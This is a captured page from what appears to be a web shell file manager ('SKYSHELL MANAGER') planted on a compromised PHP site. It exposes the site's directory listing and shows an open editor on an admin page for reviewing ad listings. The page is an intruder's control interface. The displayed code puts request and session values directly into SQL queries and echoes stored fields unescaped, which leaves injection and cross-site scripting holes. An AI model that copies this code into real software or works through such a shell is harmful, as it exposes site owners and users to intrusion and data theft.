📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
boot
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📁
css
-
0755
🗑️
🔒
📁
js
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
2211.31 KB
0644
🗑️
⬇️
✏️
🔒
Editing: view.php
<?php include "header.php"; ?> <div id="layoutSidenav_content"> <main> <div class="container-fluid px-4"> <h1 class="mt-4">Listings Section</h1> <ol class="breadcrumb mb-4"> <li class="breadcrumb-item active">Review Single Listing</li> </ol> <div class="row"> <div class="col-xl-12 col-md-12"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script> <?php //get the name of the product $use = $_SESSION['idn']; $sqk = "SELECT all* from lest where s='$use'"; $sqlp = mysqli_query($con,$sqk); while($rowe = mysqli_fetch_array($sqlp)) { $mine = $rowe['id']; $neme = $rowe['name']; $deb = $rowe['des']; $ex = $rowe['extra']; $carte = $rowe['cater']; $custom = $rowe['user']; $loca = $rowe['locat']; $mail = $rowe['email']; $date = $rowe['date']; $mob = $rowe['phone']; $per = $rowe['price']; $ran = $rowe['percent']; $neo = $rowe['conditioner']; $trip = $rowe['typer']; $fal = $rowe['fault']; $dua = $rowe['duration']; $att = $rowe['attribute']; $staff = $rowe['staff']; $imageURL1='../lists/'.$rowe["file1"]; $imageURL2='../lists/'.$rowe["file2"]; $imageURL3='../lists/'.$rowe["file3"]; $imageURL4='../lists/'.$rowe["file4"]; $imageURL5='../lists/'.$rowe["file5"]; $imageURL6='../lists/'.$rowe["file6"]; } if ($neo!="good") { $neo = $neo.'('.$fal.')'; } if ($att!="new") { $att = $att.'('.$dua.')'; } ?> <h5 class="card-title">Ad No <?php echo $mine; ?> (<?php echo $trip; ?>)</h5> <style> .list-group-item span{ color:#0000FF; }</style> <div class="card"> <div class="card-body"> <?php if (isset($_POST['submit'])){ // To Update Status to Approve $team=$_POST['see']; $sum=$_POST['submit']; if ($team=="") { echo""; } else{ if ($sum=="app") { // Approve Listing $sql = "SELECT * from lest where s = '".$team."' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $plan = $row["plan"]; $mine = $row['id']; $per = $row['price']; } $dear=date('Y-m-d'); // current date $data= date('Y-m-d', strtotime("$dear +3 days")); $insert = mysqli_query($con,"UPDATE lest SET date='$dear' where s='$team'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE lest SET endd='$data' where s='$team'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE lest SET status='Approved' where s='$team'") or die ('Could not connect: ' .mysqli_error($con)); // submit first bid count $submit = mysqli_query($con,"insert into bid (id, user, amount, date, status)values('$mine','admin','$per',NOW(),'Invalid')") or die ('Could not connect: ' .mysqli_error($con)); header('Refresh:2; url=review.php'); echo '<p style="color:blue;font-size:14px; text-align:center;">Advert Reviewed Successfully<br><i style="color:black;">you are now being redirected</i></p>'; } else{ echo "<script> $(document).ready(function(){ $('#myModal').modal('show'); }); </script>"; }}} ?> <div class="card-body"> <?php if (isset($_POST['real'])){ // To Fail Advert $team=$_POST['see']; $red=$_POST['real']; $man=$_POST['man']; $red = trim( preg_replace( "/[^0-9a-z]+/i", " ", $red ) ); ///////////////////////////////// Mail Function started////////////////////////////////////////////////////////////////// $comments = $email_to = $email_subject = $email_from = $msg = ""; $email_from="admin@oshofree.ng"; $email_to = "$man"; $email_subject = "Your Advert #$team Failed!"; $comments =" <center><div style='background-color:#000000; color:#FFFFFF; height:500px; width:500px;'> <div style='background-color:#000000; width:500px; height:150px;'> <p style='text-align:left;'> <img src='https://ads.oshofree.ng/assets/img/logo.png' width='100px' height='60px;' style='margin-top:13px;'> </p> <p style='color:#FF339A; font-size:30px;'>Advert Failed</p> </div> <p>Hello dear client, we are sorry to inform you that your listing has been failed in the review process due to the fact that ($red). <br> Please go through the solutions and adhere to it before reapplying.</p> <br><br> <p style='text-align:center;'><a href='oshofree.ng' style='color:#FF339A;'>Oshofree</a></p> </div></center> "; function clean_string($string) { $bad = array("content-type","bcc:","to:","cc:","href"); return str_replace($bad,"",$string); } $email_message =""; $email_message .= " ". clean_string($user)."\n"; $email_message .= clean_string($comments)."\n"; // create email headers $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers .= 'From: admin@oshofree.ng' . "\r\n"; if(!@mail($email_to, $email_subject, $email_message, $headers)){ echo '<center><font color="red">mail cannot be submitted now due to server problems, Please try again.</font></center>'; } ////////////////////////////////////////////End mail Function////////////////////////////////////////////////////////////// $insert = mysqli_query($con,"UPDATE lest SET status='Failed' where id='$team'") or die ('Could not connect: ' .mysqli_error($con)); $submit1 = mysqli_query($con,"insert into fail(id,rea)values('$team','$red')") or die ('Could not connect: ' .mysqli_error($con)); header('Refresh:2; url=review.php'); echo '<p style="color:blue;font-size:14px; text-align:center;">Advert Reviewed Successfully<br><i style="color:black;">you are now being redirected</i></p>'; } ?> <!-- Vertically centered Modal --> <div class="modal fade" id="myModal" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">This advert will be failed?</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <form method="post" > <p><textarea name="real" class="form-control" placeholder="Reason for failing advert review..." required></textarea></p> <p><input type="text" value="<?php echo $mine;?>" name="see" hidden /></p> <p><input type="text" value="<?php echo $mail;?>" name="man" hidden /></p> </div> <div class="modal-footer"> <button type="submit" name="fail" class="btn btn-secondary">Fail Ad</button> </div></form> </div> </div> </div><!-- End Vertically centered Modal--> <h5 class="card-title">Title - <?php echo $neme; ?> </h5> <p>These are the full details of the selected advert</p> <!-- List group with active and disabled items --> <ul class="list-group list-group-flush"> <li class="list-group-item">Product Name - <span><?php echo $neme; ?></span></li> <li class="list-group-item">Assigned Staff - <span><?php echo $staff; ?></span></li> <li class="list-group-item">Product Description - <span><?php echo $deb; ?></span></li> <li class="list-group-item">Product Category - <span><?php echo $carte; ?></span></li> <li class="list-group-item">Selling Price - <span><?php echo $per; ?></span></li> <li class="list-group-item">Company Percentage - <span><?php echo $ran; ?></span></li> <li class="list-group-item">Location - <span><?php echo $loca; ?></span></li> <li class="list-group-item">Condition - <span><?php echo $neo; ?></span></li> <li class="list-group-item">Attribute - <span><?php echo $att; ?></span></li> <li class="list-group-item">Uploaded On - <span><?php echo $date; ?></span></li> <li class="list-group-item">Images Attached - <!-- Slides with controls --> <div id="carouselExampleControls" class="carousel slide" data-bs-ride="carousel" style="width:30%;"> <div class="carousel-inner"> <div class="carousel-item active"> <img src="<?php echo $imageURL1; ?>" class="d-block w-100" alt="..."> </div> <div class="carousel-item"> <img src="<?php echo $imageURL2; ?>" class="d-block w-100" alt="..."> </div> <div class="carousel-item"> <img src="<?php echo $imageURL3; ?>" class="d-block w-100" alt="..."> </div> <div class="carousel-item"> <img src="<?php echo $imageURL4; ?>" class="d-block w-100" alt="..."> </div> <div class="carousel-item"> <img src="<?php echo $imageURL5; ?>" class="d-block w-100" alt="..."> </div> <div class="carousel-item"> <img src="<?php echo $imageURL6; ?>" class="d-block w-100" alt="..."> </div> </div> <button class="carousel-control-prev" type="button" data-bs-target="#carouselExampleControls" data-bs-slide="prev"> <span class="carousel-control-prev-icon" aria-hidden="true"></span> <span class="visually-hidden">Previous</span> </button> <button class="carousel-control-next" type="button" data-bs-target="#carouselExampleControls" data-bs-slide="next"> <span class="carousel-control-next-icon" aria-hidden="true"></span> <span class="visually-hidden">Next</span> </button> </div><!-- End Slides with controls --> </li> </ul><!-- End Clean list group --> <form method="post" style="text-align:center;"> <input type="text" value="<?php echo $use;?>" name="see" hidden /> <button type="submit" name="submit" value="app" class="btn btn-success"><i class="bi bi-check-circle"></i>Approve</button> <button type="submit" name="submit" value="fail" class="btn btn-danger"><i class="bi bi-exclamation-octagon"></i>Fail</button> </form> </div> </div> </section> </div></div> </div> </main> <?php include "footer.php"; ?>
💾 Save Changes